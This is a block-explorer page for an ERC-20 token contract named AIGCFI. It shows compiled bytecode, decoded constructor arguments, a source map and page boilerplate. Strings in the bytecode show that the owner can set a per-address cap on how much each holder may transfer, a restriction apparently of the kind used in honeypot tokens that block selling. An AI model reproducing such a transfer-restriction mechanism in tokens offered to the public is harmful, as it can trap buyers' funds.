fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60036020528060005260406000206000915090505481565b606060068054610b2290611434565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4e90611434565b8015610b9b5780601f10610b7057610100808354040283529160200191610b9b565b820191906000526020600020905b815481529060010190602001808311610b7e57829003601f168201915b5050505050905090565b6000610baf610f75565b826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610c8b578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c499190611322565b1115610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190611290565b60405180910390fd5b5b8460016000610c98610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce19190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190611322565b925050819055508460046000610d4b610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d949190611322565b925050819055508573ffffffffffffffffffffffffffffffffffffffff16610dba610f75565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dff91906112d0565b60405180910390a36001935050505092915050565b610e1c610f75565b73ffffffffffffffffffffffffffffffffffffffff16610e3a610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906112b0565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b600033905090565b600081359050610f8c816114d5565b92915050565b600081359050610fa1816114ec565b92915050565b600060208284031215610fb957600080fd5b6000610fc784828501610f7d565b91505092915050565b60008060408385031215610fe357600080fd5b6000610ff185828601610f7d565b925050602061100285828601610f7d565b9150509250929050565b60008060006060848603121561102157600080fd5b600061102f86828701610f7d565b935050602061104086828701610f7d565b925050604061105186828701610f92565b9150509250925092565b6000806040838503121561106e57600080fd5b600061107c85828601610f7d565b925050602061108d85828601610f92565b9150509250929050565b6110a0816113ac565b82525050565b6110af816113be565b82525050565b60006110c082611306565b6110ca8185611311565b93506110da818560208601611401565b6110e3816114c4565b840191505092915050565b60006110fb602183611311565b91507f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611161602d83611311565b91507f546f74616c207472616e7366657220616d6f756e74206578636565647320746860008301527f6520736574206c756d74696e74000000000000000000000000000000000000006020830152604082019050919050565b60006111c7602083611311565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b611203816113ea565b82525050565b611212816113f4565b82525050565b600060208201905061122d6000830184611097565b92915050565b600060208201905061124860008301846110a6565b92915050565b6000602082019050818103600083015261126881846110b5565b905092915050565b60006020820190508181036000830152611289816110ee565b9050919050565b600060208201905081810360008301526112a981611154565b9050919050565b600060208201905081810360008301526112c9816111ba565b9050919050565b60006020820190506112e560008301846111fa565b92915050565b60006020820190506113006000830184611209565b92915050565b600081519050919050565b600082825260208201905092915050565b600061132d826113ea565b9150611338836113ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136d5761136c611466565b5b828201905092915050565b6000611383826113ea565b915061138e836113ea565b9250828210156113a1576113a0611466565b5b828203905092915050565b60006113b7826113ca565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561141f578082015181840152602081019050611404565b8381111561142e576000848401525b50505050565b6000600282049050600182168061144c57607f821691505b602082108114156114605761145f611495565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6114de816113ac565b81146114e957600080fd5b50565b6114f5816113ea565b811461150057600080fd5b5056fea264697066735822122036f9852351c4fe0ccb50e1b034051d1f433c4c9115c20bd37fda4aeb7b30fa8f64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000d09dc3000000000000000000000000000000000000000000000000000000000000000006414947434649000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064149474346490000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): AIGCFI
Arg [1] : symbol_ (string): AIGCFI
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3500000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000d09dc300
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 4149474346490000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 4149474346490000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2954:3983:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4985:141;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4386:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6112:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4663:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6424:510;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4572:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4773:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2692:230;;;:::i;:::-;;2301:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3243:56;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4477:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5398:360;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5218:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5858:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3306:58;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4985:141;2514:12;:10;:12::i;:::-;2503:23;;:7;:5;:7::i;:::-;:23;;;2495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5111:7:::1;5079:21;:29;5101:6;5079:29;;;;;;;;;;;;;;;:39;;;;4985:141:::0;;:::o;4386:83::-;4423:13;4456:5;4449:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4386:83;:::o;6112:228::-;6195:4;6249:6;6212:11;:25;6224:12;:10;:12::i;:::-;6212:25;;;;;;;;;;;;;;;:34;6238:7;6212:34;;;;;;;;;;;;;;;:43;;;;6294:7;6271:39;;6280:12;:10;:12::i;:::-;6271:39;;;6303:6;6271:39;;;;;;:::i;:::-;;;;;;;;6328:4;6321:11;;6112:228;;;;:::o;4663:102::-;4718:7;4745:12;;4738:19;;4663:102;:::o;6424:510::-;6562:4;6537:6;6545;3658:15;3676:21;:29;3698:6;3676:29;;;;;;;;;;;;;;;;3658:47;;3730:1;3720:7;:11;3716:153;;;3800:7;3790:6;3756:23;:31;3780:6;3756:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:51;;3748:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;3716:153;6624:6:::1;6587:11;:19;6599:6;6587:19;;;;;;;;;;;;;;;:33;6607:12;:10;:12::i;:::-;6587:33;;;;;;;;;;;;;;;;:43;;6579:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;6700:6;6679:9;:17;6689:6;6679:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6741:6;6717:9;:20;6727:9;6717:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6793:6;6758:23;:31;6782:6;6758:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;6847:6;6810:11;:19;6822:6;6810:19;;;;;;;;;;;;;;;:33;6830:12;:10;:12::i;:::-;6810:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;6886:9;6869:35;;6878:6;6869:35;;;6897:6;6869:35;;;;;;:::i;:::-;;;;;;;;6922:4;6915:11;;6424:510:::0;;;;;;;;:::o;4572:83::-;4613:5;4638:9;;;;;;;;;;;4631:16;;4572:83;:::o;4773:119::-;4839:7;4866:9;:18;4876:7;4866:18;;;;;;;;;;;;;;;;4859:25;;4773:119;;;:::o;2692:230::-;2514:12;:10;:12::i;:::-;2503:23;;:7;:5;:7::i;:::-;:23;;;2495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2799:42:::1;2762:81;;2783:6;::::0;::::1;;;;;;;;2762:81;;;;;;;;;;;;2871:42;2854:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;2692:230::o:0;2301:87::-;2347:7;2374:6;;;;;;;;;;;2367:13;;2301:87;:::o;3243:56::-;;;;;;;;;;;;;;;;;:::o;4477:87::-;4516:13;4549:7;4542:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4477:87;:::o;5398:360::-;5522:4;5491:12;:10;:12::i;:::-;5505:6;3658:15;3676:21;:29;3698:6;3676:29;;;;;;;;;;;;;;;;3658:47;;3730:1;3720:7;:11;3716:153;;;3800:7;3790:6;3756:23;:31;3780:6;3756:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:51;;3748:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;3716:153;5566:6:::1;5539:9;:23;5549:12;:10;:12::i;:::-;5539:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5607:6;5583:9;:20;5593:9;5583:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5665:6;5624:23;:37;5648:12;:10;:12::i;:::-;5624:37;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;5710:9;5687:41;;5696:12;:10;:12::i;:::-;5687:41;;;5721:6;5687:41;;;;;;:::i;:::-;;;;;;;;5746:4;5739:11;;5398:360:::0;;;;;;;:::o;5218:124::-;2514:12;:10;:12::i;:::-;2503:23;;:7;:5;:7::i;:::-;:23;;;2495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5305:21:::1;:29;5327:6;5305:29;;;;;;;;;;;;;;;5298:36;;;5218:124:::0;:::o;5858:151::-;5947:7;5974:11;:18;5986:5;5974:18;;;;;;;;;;;;;;;:27;5993:7;5974:27;;;;;;;;;;;;;;;;5967:34;;5858:151;;;;:::o;3306:58::-;;;;;;;;;;;;;;;;;:::o;1554:115::-;1607:15;1650:10;1635:26;;1554:115;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:365::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2818:34;2814:1;2809:3;2805:11;2798:55;2884:3;2879:2;2874:3;2870:12;2863:25;2914:2;2909:3;2905:12;2898:19;;2704:219;;;:::o;2929:377::-;;3092:67;3156:2;3151:3;3092:67;:::i;:::-;3085:74;;3189:34;3185:1;3180:3;3176:11;3169:55;3255:15;3250:2;3245:3;3241:12;3234:37;3297:2;3292:3;3288:12;3281:19;;3075:231;;;:::o;3312:330::-;;3475:67;3539:2;3534:3;3475:67;:::i;:::-;3468:74;;3572:34;3568:1;3563:3;3559:11;3552:55;3633:2;3628:3;3624:12;3617:19;;3458:184;;;:::o;3648:118::-;3735:24;3753:5;3735:24;:::i;:::-;3730:3;3723:37;3713:53;;:::o;3772:112::-;3855:22;3871:5;3855:22;:::i;:::-;3850:3;3843:35;3833:51;;:::o;3890:222::-;;4021:2;4010:9;4006:18;3998:26;;4034:71;4102:1;4091:9;4087:17;4078:6;4034:71;:::i;:::-;3988:124;;;;:::o;4118:210::-;;4243:2;4232:9;4228:18;4220:26;;4256:65;4318:1;4307:9;4303:17;4294:6;4256:65;:::i;:::-;4210:118;;;;:::o;4334:313::-;;4485:2;4474:9;4470:18;4462:26;;4534:9;4528:4;4524:20;4520:1;4509:9;4505:17;4498:47;4562:78;4635:4;4626:6;4562:78;:::i;:::-;4554:86;;4452:195;;;;:::o;4653:419::-;;4857:2;4846:9;4842:18;4834:26;;4906:9;4900:4;4896:20;4892:1;4881:9;4877:17;4870:47;4934:131;5060:4;4934:131;:::i;:::-;4926:139;;4824:248;;;:::o;5078:419::-;;5282:2;5271:9;5267:18;5259:26;;5331:9;5325:4;5321:20;5317:1;5306:9;5302:17;5295:47;5359:131;5485:4;5359:131;:::i;:::-;5351:139;;5249:248;;;:::o;5503:419::-;;5707:2;5696:9;5692:18;5684:26;;5756:9;5750:4;5746:20;5742:1;5731:9;5727:17;5720:47;5784:131;5910:4;5784:131;:::i;:::-;5776:139;;5674:248;;;:::o;5928:222::-;;6059:2;6048:9;6044:18;6036:26;;6072:71;6140:1;6129:9;6125:17;6116:6;6072:71;:::i;:::-;6026:124;;;;:::o;6156:214::-;;6283:2;6272:9;6268:18;6260:26;;6296:67;6360:1;6349:9;6345:17;6336:6;6296:67;:::i;:::-;6250:120;;;;:::o;6376:99::-;;6462:5;6456:12;6446:22;;6435:40;;;:::o;6481:169::-;;6599:6;6594:3;6587:19;6639:4;6634:3;6630:14;6615:29;;6577:73;;;;:::o;6656:305::-;;6715:20;6733:1;6715:20;:::i;:::-;6710:25;;6749:20;6767:1;6749:20;:::i;:::-;6744:25;;6903:1;6835:66;6831:74;6828:1;6825:81;6822:2;;;6909:18;;:::i;:::-;6822:2;6953:1;6950;6946:9;6939:16;;6700:261;;;;:::o;6967:191::-;;7027:20;7045:1;7027:20;:::i;:::-;7022:25;;7061:20;7079:1;7061:20;:::i;:::-;7056:25;;7100:1;7097;7094:8;7091:2;;;7105:18;;:::i;:::-;7091:2;7150:1;7147;7143:9;7135:17;;7012:146;;;;:::o;7164:96::-;;7230:24;7248:5;7230:24;:::i;:::-;7219:35;;7209:51;;;:::o;7266:90::-;;7343:5;7336:13;7329:21;7318:32;;7308:48;;;:::o;7362:126::-;;7439:42;7432:5;7428:54;7417:65;;7407:81;;;:::o;7494:77::-;;7560:5;7549:16;;7539:32;;;:::o;7577:86::-;;7652:4;7645:5;7641:16;7630:27;;7620:43;;;:::o;7669:307::-;7737:1;7747:113;7761:6;7758:1;7755:13;7747:113;;;7846:1;7841:3;7837:11;7831:18;7827:1;7822:3;7818:11;7811:39;7783:2;7780:1;7776:10;7771:15;;7747:113;;;7878:6;7875:1;7872:13;7869:2;;;7958:1;7949:6;7944:3;7940:16;7933:27;7869:2;7718:258;;;;:::o;7982:320::-;;8063:1;8057:4;8053:12;8043:22;;8110:1;8104:4;8100:12;8131:18;8121:2;;8187:4;8179:6;8175:17;8165:27;;8121:2;8249;8241:6;8238:14;8218:18;8215:38;8212:2;;;8268:18;;:::i;:::-;8212:2;8033:269;;;;:::o;8308:180::-;8356:77;8353:1;8346:88;8453:4;8450:1;8443:15;8477:4;8474:1;8467:15;8494:180;8542:77;8539:1;8532:88;8639:4;8636:1;8629:15;8663:4;8660:1;8653:15;8680:102;;8772:2;8768:7;8763:2;8756:5;8752:14;8748:28;8738:38;;8728:54;;;:::o;8788:122::-;8861:24;8879:5;8861:24;:::i;:::-;8854:5;8851:35;8841:2;;8900:1;8897;8890:12;8841:2;8831:79;:::o;8916:122::-;8989:24;9007:5;8989:24;:::i;:::-;8982:5;8979:35;8969:2;;9028:1;9025;9018:12;8969:2;8959:79;:::o

Swarm Source

ipfs://36f9852351c4fe0ccb50e1b034051d1f433c4c9115c20bd37fda4aeb7b30fa8f

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.